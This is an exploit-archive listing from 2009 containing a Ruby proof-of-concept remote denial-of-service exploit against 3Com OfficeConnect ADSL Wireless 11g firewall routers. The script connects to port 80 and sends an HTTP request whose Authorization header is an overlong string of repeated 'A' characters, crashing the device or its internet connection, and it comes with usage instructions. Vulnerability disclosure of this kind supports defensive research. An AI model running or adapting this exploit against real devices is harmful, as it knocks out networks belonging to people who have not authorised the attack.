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3Com OfficeConnect Denial Of Service

3Com OfficeConnect Denial Of Service
Posted Dec 21, 2009
Authored by Alberto Ortega | Site pentbox.net

Proof of concept exploit that demonstrates a denial of service vulnerability in the 3Com OfficeConnect ADSL Wireless 11g Firewall Router when fed a malformed Authorization value.

tags | exploit, denial of service, proof of concept
SHA-256 | 2854eca2288e6310c6c9bf7460995d6f12d19fadd0231ff46babe0d5d2fdb536

3Com OfficeConnect Denial Of Service

Change Mirror Download
###############
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu)
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit by HTTP
#
# Additional info:
# - I tested it in other similar 3Com router and the system do not crash, but the Internet connection yes.
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"

host = ARGV[0]
buffer = "A"
send = ""

puts ""
if !host
puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"
puts " Remote DoS Exploit by HTTP"
puts " ------ Usage ---------------------------------------"
puts " ruby 3com_dosexploit.rb host"
puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"
else
begin
socket = TCPSocket.new(host, 80)
puts "- Exploiting ..."
# 8.times is enough to DoS
9.times do
buffer = "#{buffer}#{buffer}"
end
# Here are the HTTP packet, Authorization value causes the DoS
send = "GET / HTTP/1.1\r\nAuthorization:#{buffer}\r\n"
socket.write(send)
puts "- Successfully! :)"
rescue
puts "Connection problem"
end
end
puts ""
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